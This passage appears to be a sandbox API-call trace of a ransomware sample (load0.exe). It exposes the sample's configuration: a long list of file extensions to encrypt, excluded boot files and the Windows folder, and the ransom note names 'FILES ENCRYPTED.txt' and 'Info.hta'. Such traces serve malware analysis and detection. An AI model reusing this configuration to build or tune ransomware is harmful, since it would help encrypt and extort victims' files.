Ptr=0x5b40d8, Size=0x8) returned 0x5b3f08 [0122.352] lstrlenW (lpString=".com") returned 4 [0122.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e6978 | out: hHeap=0x5a0000) returned 1 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6a50, Size=0x20) returned 0x5deca0 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deca0, Size=0x40) returned 0x5b2380 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2380, Size=0x80) returned 0x5e28f8 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b40d8, Size=0x8) returned 0x5b4028 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4028, Size=0x10) returned 0x5e6a50 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6a50, Size=0x20) returned 0x5ded68 [0122.352] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0122.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e28f8 | out: hHeap=0x5a0000) returned 1 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6468, Size=0x20) returned 0x5deca0 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deca0, Size=0x40) returned 0x5b2188 [0122.352] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0122.352] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0122.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b2188 | out: hHeap=0x5a0000) returned 1 [0122.352] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6438, Size=0x20) returned 0x5deed0 [0122.352] lstrlenW (lpString="Info.hta") returned 8 [0122.352] lstrlenW (lpString="Info.hta") returned 8 [0122.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deed0 | out: hHeap=0x5a0000) returned 1 [0122.353] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x644ee8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\load0.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\load0.exe")) returned 0x21 [0122.353] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x644ee8 | out: hHeap=0x5a0000) returned 1 [0122.353] lstrlenW (lpString="load0.exe") returned 9 [0122.353] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded68, Size=0x40) returned 0x5b2068 [0122.353] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6390, Size=0x20) returned 0x5dee30 [0122.353] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6540, Size=0x20) returned 0x5deed0 [0122.353] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deed0, Size=0x40) returned 0x5b22f0 [0122.353] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b22f0, Size=0x80) returned 0x5e2430 [0122.353] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2430, Size=0x100) returned 0x5ae298 [0122.353] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0122.353] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ae298 | out: hHeap=0x5a0000) returned 1 [0122.353] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x644ee8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0122.353] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x654ef0 | out: hHeap=0x5a0000) returned 1 [0122.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x644ee8 | out: hHeap=0x5a0000) returned 1 [0122.355] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3ff8, Size=0x8) returned 0x5b3f48 [0122.355] lstrlenW (lpString="%windir%;") returned 9 [0122.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dee30 | out: hHeap=0x5a0000) returned 1 [0122.355] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0122.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x634ee0 | out: hHeap=0x5a0000) returned 1 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6300, Size=0x20) returned 0x5ded18 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded18, Size=0x40) returned 0x5b21d0 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b21d0, Size=0x80) returned 0x5e2760 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2760, Size=0x100) returned 0x5ae298 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3e48, Size=0x8) returned 0x5b3fb8 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3fb8, Size=0x10) returned 0x5e62d0 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e62d0, Size=0x20) returned 0x5deca0 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3e78, Size=0x8) returned 0x5b3f18 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3eb8, Size=0x8) returned 0x5b3f68 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3fb8, Size=0x8) returned 0x5b3f58 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3f58, Size=0x10) returned 0x5e6360 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6360, Size=0x20) returned 0x5ded18 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3f18, Size=0x10) returned 0x5e64b0 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3f68, Size=0x10) returned 0x5e6390 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3f88, Size=0x8) returned 0x5b3f18 [0122.356] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3f58, Size=0x8) returned 0x5b4008 [0122.357] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e64b0, Size=0x20) returned 0x5ded68 [0122.357] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6390, Size=0x20) returned 0x5dee30 [0122.357] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3fe8, Size=0x8) returned 0x5b3f58 [0122.357] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0122.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ae298 | out: hHeap=0x5a0000) returned 1 [0122.357] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6408, Size=0x20) returned 0x5deed0 [0122.358] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x634ee0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0122.358] lstrlenW (lpString="C:\\") returned 3 [0122.358] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0122.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x634ee0 | out: hHeap=0x5a0000) returned 1 [0122.359] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3fc8, Size=0x82) returned 0x5ae568 [0122.359] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3e58, Size=0x100) returned 0x5ae298 [0122.359] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ae568, Size=0x104) returned 0x5b1c10 [0122.359] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ae298, Size=0x200) returned 0x623848 [0122.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b3eb8 | out: hHeap=0x5a0000) returned 1 [0122.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x623848 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e64f8 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2e48 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e64b0 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e23a8 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e64e0 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1c10 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e64c8 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5aebe8 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e6510 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b2530 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e6528 | out: hHeap=0x5a0000) returned 1 [0122.361] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e64b0, Size=0x20) returned 0x5dec00 [0122.361] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dec00, Size=0x40) returned 0x5b2188 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b3fb8 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e62d0 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5afac8 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e6468 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2dc0 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e6408 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b3e98 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e6480 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6dd0 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b8568 | out: hHeap=0x5a0000) returned 1 [0122.361] lstrlenW (lpString="%systemdrive%") returned 13 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deed0 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2f58 | out: hHeap=0x5a0000) returned 1 [0122.361] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b3f88 | out: hHeap=0x5a0000) returned 1 [0122.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x624ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6408, Size=0x20) returned 0x5debb0 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5debb0, Size=0x40) returned 0x5b21d0 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b21d0, Size=0x80) returned 0x5e25c8 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e25c8, Size=0x100) returned 0x5ae298 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ae298, Size=0x200) returned 0x623848 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623848, Size=0x400) returned 0x623848 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623848, Size=0x800) returned 0x5e3278 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3278, Size=0x1000) returned 0x5e3278 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3fe8, Size=0x8) returned 0x5b3fb8 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b3fb8, Size=0x10) returned 0x5e6408 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6408, Size=0x20) returned 0x5ded90 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded90, Size=0x40) returned 0x5b21d0 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b21d0, Size=0x80) returned 0x5e2c28 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2c28, Size=0x100) returned 0x5e9840 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e9840, Size=0x200) returned 0x5e9ab8 [0122.363] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e9ab8, Size=0x400) returned 0x623848 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623848, Size=0x800) returned 0x657320 [0122.364] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0122.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3278 | out: hHeap=0x5a0000) returned 1 [0122.364] lstrlenW (lpString="") returned 0 [0122.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x657240 | out: hHeap=0x5a0000) returned 1 [0122.364] lstrlenW (lpString=".com") returned 4 [0122.364] lstrlenW (lpString=".com") returned 4 [0122.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x657138 | out: hHeap=0x5a0000) returned 1 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657228, Size=0x20) returned 0x5debb0 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5debb0, Size=0x40) returned 0x5b22f0 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b22f0, Size=0x80) returned 0x5e2d38 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656240, Size=0x8) returned 0x6561a0 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6561a0, Size=0x10) returned 0x657108 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657108, Size=0x20) returned 0x5deed0 [0122.364] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0122.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2d38 | out: hHeap=0x5a0000) returned 1 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657150, Size=0x20) returned 0x5deb60 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deb60, Size=0x40) returned 0x5b21d0 [0122.364] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0122.364] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0122.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b21d0 | out: hHeap=0x5a0000) returned 1 [0122.364] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657228, Size=0x20) returned 0x5dedb8 [0122.364] lstrlenW (lpString="Info.hta") returned 8 [0122.364] lstrlenW (lpString="Info.hta") returned 8 [0122.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dedb8 | out: hHeap=0x5a0000) returned 1 [0122.365] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x657b28, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\load0.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\load0.exe")) returned 0x21 [0122.365] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x657b28 | out: hHeap=0x5a0000) returned 1 [0122.365] lstrlenW (lpString="load0.exe") returned 9 [0122.365] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deed0, Size=0x40) returned 0x5b21d0 [0122.365] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656fe8, Size=0x20) returned 0x5deed0 [0122.366] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656f88, Size=0x20) returned 0x5dedb8 [0122.366] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dedb8, Size=0x40) returned 0x5b2260 [0122.366] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2260, Size=0x80) returned 0x5e2dc0 [0122.366] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2dc0, Size=0x100) returned 0x5e9000 [0122.366] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0122.366] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e9000 | out: hHeap=0x5a0000) returned 1 [0122.366] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x657b28, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0122.366] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x667b30 | out: hHeap=0x5a0000) returned 1 [0122.366] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x657b28 | out: hHeap=0x5a0000) returned 1 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656210, Size=0x8) returned 0x656220 [0122.367] lstrlenW (lpString="%windir%;") returned 9 [0122.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deed0 | out: hHeap=0x5a0000) returned 1 [0122.367] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0122.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x644f00 | out: hHeap=0x5a0000) returned 1 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657228, Size=0x20) returned 0x5deed0 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deed0, Size=0x40) returned 0x5b2410 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2410, Size=0x80) returned 0x5e2ba0 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e2ba0, Size=0x100) returned 0x5e8ad8 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656250, Size=0x8) returned 0x6562f0 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6562f0, Size=0x10) returned 0x657000 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657000, Size=0x20) returned 0x5deed0 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656260, Size=0x8) returned 0x6561a0 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656240, Size=0x8) returned 0x6561b0 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656150, Size=0x8) returned 0x656200 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656200, Size=0x10) returned 0x657108 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657108, Size=0x20) returned 0x5dedb8 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6561a0, Size=0x10) returned 0x657108 [0122.367] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6561b0, Size=0x10) returned 0x657120 [0122.368] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656260, Size=0x8) returned 0x6561e0 [0122.368] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6561a0, Size=0x8) returned 0x656230 [0122.368] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657108, Size=0x20) returned 0x5dec00 [0122.368] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657120, Size=0x20) returned 0x5deef8 [0122.368] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656240, Size=0x8) returned 0x656260 [0122.368] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0122.368] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e8ad8 | out: hHeap=0x5a0000) returned 1 [0122.368] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x657288, Size=0x20) returned 0x5deb60 [0122.368] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x644f00, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0122.368] lstrlenW (lpString="C:\\") returned 3 [0122.368] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0122.368] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x644f00 | out: hHeap=0x5a0000) returned 1 [0122.369] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6561a0, Size=0x82) returned 0x5ae568 [0122.369] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656200, Size=0x100) returned 0x5e9630 [0122.369] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ae568, Size=0x104) returned 0x5b1c10 [0122.369] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e9630, Size=0x200) returned 0x5e9ab8 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6561b0 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e9ab8 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x656430 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e25c8 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2650 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x657300 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1c10 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6572b8 | out: hHeap=0x5a0000) returned 1 [0122.370] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5aebe8 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6565c8 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b2530 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x656508 | out: hHeap=0x5a0000) returned 1 [0122.371] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656580, Size=0x20) returned 0x5e39b0 [0122.371] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e39b0, Size=0x40) returned 0x5b2260 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6562f0 | out: 